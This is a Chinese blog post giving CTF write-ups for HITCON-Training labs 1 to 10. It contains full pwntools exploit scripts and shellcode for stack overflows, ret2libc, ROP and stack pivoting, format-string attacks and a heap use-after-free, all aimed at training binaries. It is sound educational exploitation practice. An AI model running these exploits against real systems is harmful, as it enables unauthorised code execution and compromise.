23R3F's Blog

Hitcon-Training之lab1~lab10

字数统计: 5k阅读时长: 21 min
2018/08/21 Share

lab1

方法一:使用逆向解密的方法

image

方法二:利用gdb动态调试,可以在已经生成了password并且还未输入magic的情况下个断点

image

可知,ebp-0x80的地方就是password存放地址,于是可以,读出

image

方法三:利用gdb动态调试,设置eip,跳过判断对比语句,直接执行for循环得出flag

(也可以使用IDA的nop功能,也就是使用keypatch)

先运行sysmagic,不要输入数字,保持输入的状态不变:

image

新开一个窗口,ps -aux |grep sysmagic,得到pid = 3505;

image

然后sudo gdb attach 3505;

b*0x08048720对0x08048720下断点,也就是在判断语句cmp edx,eax处

输入一个数字,gdb断下;

image

输入set $eip = 0x08048724,直接跳过jnz,直接执行for循环打印flag操作

c继续执行,看到有flag弹出。


lab2

checksec一波,一个只开了canary保护的程序,???

image

接着扔到ida,发现是让你输入shellcode然后程序就去执行你的shellcode,

image

但正如这道题的名字orw,获取flag的方法是用open,read,write三个syscall来完成的,但不能用拿shell的方式,因为orw_seccomp()中的代码是这样的:

image

因为通过查资料发现这个prctl函数有点迷,限制了我们syscall的调用,具体的为什么限制,怎么样限制我也看得不是很懂,反正就是不能用system(/bin/sh)或者execve(/bin/sh)了

那就需要我们自己写shellcode执行cat flag,

内容为:

1
2
3
fp = open("flag",0)
read(fp,buf,0x30)
write(1,buf,0x30)

那我们需要查到,O’R’W’三个函数对应的系统调用号和参数应该调入的寄存器

image

这段代码对应的汇编是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> push 1;
> dec byte ptr [esp];    先将1入栈后在用dec指令减1,得到0用于截断
> push 0x67616c66; 再将“flag”入栈作为指针数组的第一个元素
> mov ebx,esp;   ebx指向栈顶也就是指向 open函数的第一个参数(指针数组)
> xor ecx,ecx;     xor清零ecx对应第二个参数
> xor edx,edx;   xor清零edx对应第三个参数
> xor eax,eax;   xor清零eax
> mov al,0x5;   向eax传入系统调用号0x05
> int 0x80;    调用fp=open("flag",0)

> mov ebx,eax;    ebx被赋值为fp,read(fp,buf,0x30)
> xor eax,eax;    xor清空eax
> mov al,0x3;   传入read函数对应的系统调用号
> mov ecx,esp;   将栈顶的地址传给ecx作为read的第二个参数,将flag文件中的内容入栈
> mov dl,0x30;  read的第三个参数,读0x30个字符
> int 0x80;     调用read(fp,buf,0x30)

> mov al,0x4;   write函数的系统调用号,write(1,buf,0x30)
> mov bl,1;   ebx对应第一个参数
> mov dl,0x30;  edx对应第三个参数 
> int 0x80;   调用write(1,buf,0x30)

其实也可以用pwntools的asm函数来写:

shellcode += asm(‘xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;’)


lab3

这道题就很简单了,是最基础的栈溢出,操作是把shellcode写到name的空间里面去,然后溢出v4的缓冲区,跳转到name的地址去执行shellcode得到shell,但是也有一个小坑需要注意,v4在栈空间里面是以esp来寻址的,所以,v4的缓存区的大小是0x1c而不是0x14

image

image

其他也就没什么好说的了,直接上exp吧

image



lab4

拿到题目按照老套,一波checksec+IDA:

image

image

image

一套看下来,就会发现,是一道简单的return to libc ,需要注意的地方是,第一个输入,是输入一个10进制的地址,然后返回这个地址的内容给你,这就很容易想到,利用这个功能去把puts函数的真实地址打印出来,也就是,去把got表中的内容搞出来,有了puts函数的真实地址,然后在把libc中各个函数的地址搞出来,算一下偏移量,就很容易得到system函数的真实地址,然后再用find命令或者用pwntools的函数,去找出“/bin/sh”的地址,这样我们就可以拿到shell了

exp如图:

image



lab5

按照老套路,一波checksec+IDA:

image

image

发现也还是一道比较简单的题目,但也学到了一些新的姿势

这道题 就一个输入,然后是静态链接,加载了很多东西进来,又开了nx保护,没有发现system函数,没有发现binsh参数

所以应该是ret2systemcall的题目,用rop,进行int0x80中断,执行系统调用

所以我们需要找到,有pop eax,ebx,ecx,edx,ret这样的gadget,通过一波搜索找到了这些:

1
2
3
4
> 0x080493e1 : int 0x80
> 0x080bae06 : pop eax ; ret
> 0x0806e82a : pop edx ; ret
> 0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret

但是我们要调用execve(/bin/sh)还需要参数,题目里面找不到参数,那么我们只能自己去写入了,写入就要用到一些新的姿势了,找到一种gadget,要有能将某个寄存器的内容写到内存的某个地方的功能,

通过一波搜索,我们找到了这些:

1
2
> 0x0807b301 : mov dword ptr [eax], edx ; ret
> .bss  NOBITS  080eaf80 0a1f80 00136c 00  WA  0  0 32

这样一来,我们就可以先把bss段的地址给eax,然后再把参数给edx,然后执行这个gadget就能实现把参数写进bss段里面了,接着再开始把各个参数传给各个寄存器,实现系统调用

image


lab6

这道题目就不是很容易了qvq,涉及到了严重的知识盲区,

image

image

从题目来看,mian函数只能执行一次,那么ret2lib的操作就执行不了了,然后就一个输入,read读取0x40个字节到buf0x28的空间中,会溢出0x12个字节,那么可以用来构造的paylode长度就很有限了,这个时候就要用到一种叫做构造假栈帧的操作了

原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。

我们首先用ROPgadget去找找可以用的gadget:

1
2
3
> 0x08048418 : leave ; ret #用于返回栈,改变ebp和esp的值
> 0x0804836d : pop ebx ; ret    #p1ret 用于放参数 (参考系统调用)
> 0x08048569 : pop esi ; pop edi ; pop ebp ; ret  #p3ret 用于最后同时控制ebp和esp,进行ret操作直接执行system(/bin/sh)

看图可以很清楚的了解整个构造假栈帧的过程,重点在于理解esp和ebp是怎么样变化的
lab6.png

完整的exp是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)

leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebp_ret
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400

payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)
sleep(0.1)

payload =p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
sleep(0.1)

puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)

offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset

'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)

p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
sleep(0.1)
p.interactive()


"""
0x08048418 : leave ; ret #用于返回栈
0x0804836d : pop ebx ; ret #p1ret 用于放参数
0x08048569 : pop esi ; pop edi ; pop ebp ; ret #p3ret 用于最后同时控制ebp和esp,进行ret操作直接执行system(/bin/sh)

"""


lab7

这是一道格式化字符串漏洞的题目,又是我的一个知识盲区,为此我先去学习了一波,再倒回来做题,其实这道题还是比较简单的,就是给你一个随机数,猜对这个随机数了就给你cat flag,然后我们就利用printf函数的格式化字符串漏洞去泄漏出随机数的数值,这道题就迎刃而解了。
按照套路IDA+checksec一波:

可以看到这道题只有格式化字符串的问题,栈溢出完全没办法利用,另外还开了canary和NX
我们要泄漏password的话,首先得找到格式化字符串的地址在哪里,于是我们需要输入“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p。。。。”这样的一大串东西,结果如下:
image.png
我们可以看到,%p泄漏出了printf栈里面的东西,并且可以发现AAAA也就是“0x41414141”在第十个位置,也就是说格式化字符串在栈的第十个位置,于是我们就可以构造:【泄漏地址】+%10$s,来把password给泄漏出来
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./crack')

payload = p32(0x804A048)+'#'+'%10$s'+'#' #为了方便下面接收的时候进行识别,需要用一个字符来加以标志
print payload # H\xa0\x0#%10$s#

p.recvuntil('What your name ? ')
p.sendline(payload)

p.recvuntil("#")
r = p.recvuntil("#")
print r # x\x9e`#
print r[:4] # x\x9e`
password = u32(r[:4])
print password # 1611505272
p.recvuntil("Your password :")
p.sendline(str(password))

p.interactive()

另外这道题有一点比较谜的地方是并不是每一次执行脚本都能成功,有一定的机率会失败,也就是猜错随机数,我在想是不是因为有时候生成的随机数过大占到了8个字节,然后我只泄漏了4个字节就会导致失败

其次,在我做完这道题后去看了一下大佬的wp,发现还有改随机数的操作,真的是太秀了,附上Veritas501大佬的wp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()


lab8

这也是一道简单的格式化字符串漏洞的题,但却有四种解法,学习到不少姿势
保护机制和上一题一样的,就不能用栈溢出的操作了

从这个反汇编的代码就可以看出有两种解法,一是覆盖218,二是覆盖-87117812
而第三种方法是,修改puts的got表为执行【system(“cat /home/craxme/flag”)】的地址,这样一来在执行到【puts(“You need be a phd”)】的时候会直接去执行【system(“cat /home/craxme/flag”)】
第四种方法是,修改puts的got表改到main中read的上面,把printf的got表改成system的plt表地址,这样就可以直接拿到shell了

以下是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./craxme')
magic = 0x0804a038
catflag = 0x080485f6#或者0x080485d8
putsgot = 0x0804a018
printfgot = 0x0804a010
systemplt = 0x08048410


payload1 = p32(magic) + '%0214c'+'%7$n'#覆盖小数字:218
#-----------------------------------------------------
'''
-87117812 --> 0xFACEB00C#
\x0c
\xb0
\xce
\xfa
'''
payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3)#4x4=16
payload2 += '%252c%7$hhn' #252+16 =268-->0x10c
payload2 += '%164c%8$hhn' #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn' #432+30 =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa
#覆盖大数字:-87117812
#payload2 = fmtstr_payload(7, {magic: 0xfaceb00c})
#也可以用这个函数来完成上面的payload的构造
#-----------------------------------------------------

payload3 = fmtstr_payload(7, {putsgot: catflag})
#-----------------------------------------------------

payload4 = fmtstr_payload(7, {putsgot:0x0804858B,printfgot:systemplt})

p.recvuntil('Give me magic :')
p.sendline(payload4)
p.interactive()


'''
测试格式化字符串的位置:
Please crax me !
Give me magic :AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffa6df7c.0x100.(nil).0xf7fef000.0x80482d2.0xf63d4e2e.[0x41414141].0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
You need be a phd
'''


lab9

这道题就很有难度了,找了很久只发现Veritas501大佬才写了这道题的wp,认真膜拜了一波,看了好久才理解这道题是怎么样做出来的


从IDA和checksec来看,就是开了NX保护,然后有个格式化字符串的漏洞,关键点在于,这次的buf不在栈上,而是在bss段里,这就导致我们构造的格式化字符串都在bss段了,这就很尴尬了,不能向之前一样用%s%p%n去读取和写入栈的数据了
于是我们只能间接得去写和读数据,通过ebp保存的数据从而实现数据的读写
我们可以看到在输入“asds”后的栈中的情况:

这里有用的就是这四条,分别是ebp1、fmt7、ebp2、fmt11,而他们相对于格式化字符串的偏移分别是6、7、10、11

1
2
3
4
5
0048| 0xffffceb8 --> 0xffffcec8 --> 0xffffced8 --> 0x0 
0052| 0xffffcebc --> 0x8048584 (<play+59>: nop)
、、、、、、、、、、、、、
0064| 0xffffcec8 --> 0xffffced8 --> 0x0
0068| 0xffffcecc --> 0x80485b1 (<main+42>: nop)

从上我们可以看到,ebp1的内容是指向ebp2的地址的指针,而ebp2的内容又是指向其他地址的指针,因此如果我们用%n对ebp1进行操作,那么实际上会修改ebp2的值,如果此时再把ebp2的内容改成一个指向fmt7的指针,然后在对ebp2进行%n操作,那么就可以改变fmt7的内容,从而实现了间接修改某个地址的内容,试想一下,我们把fmt7的内容又改成printf的got表地址,那么fmt7就指向了printf_got的地址,如果用%s操作,就可以把printf_got的内容打印出来,从而得到了printf函数的真正地址,到了这里,我们就可以通过printf函数泄漏出system的真正地址了,于是这道题的解体思路就出来了:

1
2
3
4
5
6
7
8
9
1.通过ebp_1使ebp_2指向fmt_7
2.通过ebp_2将fmt_7处的内容覆盖成printf_got
3.通过ebp_1使ebp_2指向fmt_11
4.通过ebp_2将fmt_11处的内容修改成printf_got+2
5.通过fmt_7将printf_got地址泄露出来
6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
7.执行printf函数相当于执行system函数
8.输入"/bin/sh"字符串,让system函数从栈中取参数getshell

思路如图所示:

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

printf_got = elf.got['printf']
system_libc = libc.symbols['system']
printf_libc = libc.symbols['printf']

p.recv()
log.info("**********leak printf_got************")
payload = '%6$x'
p.sendline(payload)


ebp2 = int(p.recv(),16)
ebp1 = ebp2 - 0x10
fmt_7 = ebp2 -0x0c
fmt_11 = ebp2 + 0x04
log.info("printf_got-->p[%s]"%hex(printf_got))
log.info("ebp_1-->p[%s]"%hex(ebp1))
log.info("ebp_2-->p[%s]"%hex(ebp2))
log.info("fmt_7-->p[%s]"%hex(fmt_7))
log.info("fmt_11-->p[%s]"%hex(fmt_11))

payload = '%' + str(fmt_7 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_7
p.sendline(payload)
p.recv()

payload = '%' + str(printf_got & 0xffff) + 'c%10$hn'
#fmt_7 = prinf_got
p.sendline(payload)
p.recv()

while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
'''
这个循环用于保证所有的字节都被输出,因为recv()一次最多只能接收0x1000
个字节,所以要进行多次recv()才能保证全部字节都输出以便进行下面的操作
需要注意的是,要构造一个字符串“23r3f”来作标志,返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
'''


payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_11
p.sendline(payload)
p.recv()

payload = '%' + str((printf_got+2) & 0xffff) + 'c%10$hn'
#fmt_11 = prinf_got + 2
p.sendline(payload)
p.recv()

while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break

log.info("******leaking the print_got_add*********")
payload = 'aaaa%7$s'
p.sendline(payload)
p.recvuntil("aaaa")
printf_addr = u32(p.recv(4))
log.info("print_got_add is:[%s]"%hex(printf_addr))

system_addr = printf_addr - printf_libc + system_libc
log.info("system_add is:[%s]"%hex(system_addr))
#pause()

payload = '%' +str(system_addr &0xffff) +'c%7$hn'
payload += '%' +str((system_addr>>16) - (system_addr &0xffff)) +'c%11$hn'
'''
这里需要注意的是,我们把system的地址的前后两个字节分别写到fmt-7和fmt-11中,
在写入后两个字节的时候要注意减去前面输入的(system_addr &0xffff)),这是因为
%n写入操作是算累积输入的字符个数
'''
p.sendline(payload)
p.recv()

while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break

p.sendline("/bin/sh")
'''
这个时候输入参数到栈中,本来下一步程序会调用printf函数,但是此时printf函数的got表
已经被修改为system的地址了,此时就会执行system并且从栈中取bin/sh参数
于是就这样getshell
'''
p.interactive()


lab10

hacknote

从这里开始就堆的题目了

可以看到没开多少保护,是一道简单的UAF的漏洞

在创建note的时候,malloc了两次,第一次malloc一个8字节大小的块去存一个函数指针,用来打印出chunk的内容,第二次malloc一个size大小的块去存note的内容

也就是一次新建note两次malloc,一次大小是8一次是输入的size

这个时候就很容易想到利用的方法了,也就是UAF—-use after free
由于malloc和free的机制问题,先被free掉的块会很快用于新的malloc(如果大小合适的话),具体的原理就不多说,网上很多教程,日后有时间专门整理一波另开文章

从图可以看到这个程序中的delet功能和show功能是怎么样实现的


这里还有一个直接cat flag的函数,因此我们只要想办法调用这个函数就可以搞定了

解题的思路是:

  1. 申请chunk1,大小为32(保证是fast bin范围就行),内容随意
  2. 申请chunk2,大小为32(保证是fast bin范围就行),内容随意
  3. 申请chunk3,大小为32(保证是fast bin范围就行),内容随意
  4. free掉chunk1
  5. free掉chunk2

此时的fast_bin的分布是这样的:
chunk2(8大小)–>–>chunk1(8大小)
chunk2(32大小)–>chunk1(32大小)

  1. 申请chunk4,大小为8,内容为magic的函数地址
    申请chunk4的时候首先会申请一个8大小的空间,这时chunk2(8大小)的空间给了这个块,接着再申请size 大小的块,这时chunk1(8大小)的空间给了这个块
    同时向chunk4中写入magic的函数地址,也就相对应向chunk1(8大小)写入magic的函数地址,此时原本存放puts函数指针的地方被magic函数覆盖了,也就导致了接下来打印chunk1内容的时候会直接执行magic

  2. 打印chunk1的内容,执行magic函数

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./hacknote", aslr=0)

elf = ELF("./hacknote")
#libc = ELF("./libc-2.23.so")
#libc = elf.libc

def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def getshell():
p.interactive()

catflag = 0x08048986

#add 0
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("aaaaaaaa")
#add 1
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("bbbbbbbb")
#add 2
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("cccccccc")


#free 0
ru("Your choice :")
sl("2")
ru("Index :")
sl("0")
#free 1
ru("Your choice :")
sl("2")
ru("Index :")
sl("1")

# gdb.attach(p)
# pause()

#add 3
ru("Your choice :")
sl("1")
ru("Note size :")
sl("8")
ru("Content :")
sd(p32(catflag))


#show
ru("Your choice :")
sl("3")
ru("Index :")
sl("0")

# ru("Your choice :")
# sl("4")

getshell()

CATALOG
  1. 1. lab1
  2. 2. lab2
  3. 3. lab3
  4. 4. lab4
  5. 5. lab5
  6. 6. lab6
  7. 7. lab7
  8. 8. lab8
  9. 9. lab9
  10. 10. lab10